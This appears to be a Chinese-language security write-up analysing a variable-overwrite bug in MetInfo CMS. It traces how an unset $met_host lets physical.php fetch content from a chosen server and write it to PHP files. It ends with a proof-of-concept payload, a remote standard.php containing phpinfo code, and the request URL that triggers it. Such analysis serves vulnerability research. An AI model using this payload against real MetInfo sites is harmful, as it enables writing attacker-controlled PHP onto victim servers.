整體思路
- 挖掘偽全局變量
- 然后找可控參數進行利用#偽全局變量:可理解為全局變量,例部分CMS為了全局過濾SQL注入或者XSS之類的漏洞就會將GET、POST、COOKIE等請求借入全局然后直接過濾。這樣就做到了全部統一過濾SQL、XSS等漏洞
實例:
參考鏈接:http://www.91ri.org/16663.html
前言:
- Metlnfo正是一個偽全局的CMS。
- /admin/include/common.inc.php第24行即可看出Metlnfo是偽全局了。
-
1 define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc()); 2 isset($_REQUEST['GLOBALS']) && exit('Access Error'); 3 require_once ROOTPATH.'include/global.func.php'; 4 foreach(array('_COOKIE', '_POST', '_GET') as $_request) { 5 foreach($$_request as $_key => $_value) { 6 $_key{0} != '_' && $$_key = daddslashes($_value,0,0,1); 7 $_M['form'][$_key] = daddslashes($_value,0,0,1); 8 } 9 }
且如上的第6行還存在變量覆蓋漏洞。(也就是說如果有什么危險的變量在沒有被賦值的情況下可以使用這個漏洞去將其賦值)
開始分析:
漏洞文件:/admin/app/physical/physical.php
1 $post=array('ver'=>$metcms_v,'app'=>$applist); 2 $result=curl_post($post,60); 3 if(link_error($result)==1){ 4 $results=explode('<Met>',$result); 5 file_put_contents('dlappfile.php',$results[1]); 6 file_put_contents('standard.php',$results[0].$results[1]); 7 }
如上代碼所示,第5、6行中的file_put_contents中有兩個參數,如果$results可控那么可能就可以造成遠程文件寫入的漏洞。那么我們追蹤$results,因為$results是在curl_post函數中得到的,所以我們追蹤這個函數。
我將鼠標放至該函數便可追蹤到其來源。有三個文件。
1 /include/export.func.php 2 app/system/include/class/curl.class.php 3 install/index.php
第二個跟第三個均未被包含在這個文件。那么我們就鎖定在/include/export.func.php文件當中
1 <?php 2 # MetInfo Enterprise Content Management System 3 # Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. 4 /*發送POST*/ 5 function curl_post($post,$timeout){ 6 global $met_weburl,$met_host,$met_file; 7 $host=$met_host; 8 $file=$met_file; 9 if(get_extension_funcs('curl')&&function_exists('curl_init')&&function_exists('curl_setopt')&&function_exists('curl_exec')&&function_exists('curl_close')){ 10 $curlHandle=curl_init(); 11 curl_setopt($curlHandle,CURLOPT_URL,'http://'.$host.$file); 12 curl_setopt($curlHandle,CURLOPT_REFERER,$met_weburl); 13 curl_setopt($curlHandle,CURLOPT_RETURNTRANSFER,1); 14 curl_setopt($curlHandle,CURLOPT_CONNECTTIMEOUT,$timeout); 15 curl_setopt($curlHandle,CURLOPT_TIMEOUT,$timeout); 16 curl_setopt($curlHandle,CURLOPT_POST, 1); 17 curl_setopt($curlHandle,CURLOPT_POSTFIELDS, $post); 18 $result=curl_exec($curlHandle); 19 curl_close($curlHandle); 20 }
第7行當中的$met_host並未賦值即為可控(無論是在export.func.php還是在physical.php當中)。$met_file在physical.php當中有進行賦值。(這兩個變量是在export.func.php的第當中7、8有進行定義)
所以得出$met_host可控,而$met_file不可控。
回來看這個漏洞所在的地方。
在122行必須要滿足physical[11] == 1才能執行這個漏洞。那么看一下如何才能成立。
往physical這個文件的開頭看去終於找到了。
當action為do的時候等於$physicaldo[11] == 1
所以構造出payload為
首先現在遠程服務器上新建一個standard.php
內容為:
1 metinfo 2 3 <Met> 4 5 <?php 6 echo "Joseph"; 7 ?> 8 9 <Met> 10 11 <?php 12 echo "<?php phpinfo();?>"; 13 ?>
physical.php?action=do?met_host=127.0.0.1
漏洞還是挺雞肋。不支持遠程寫入也是沒法兒的。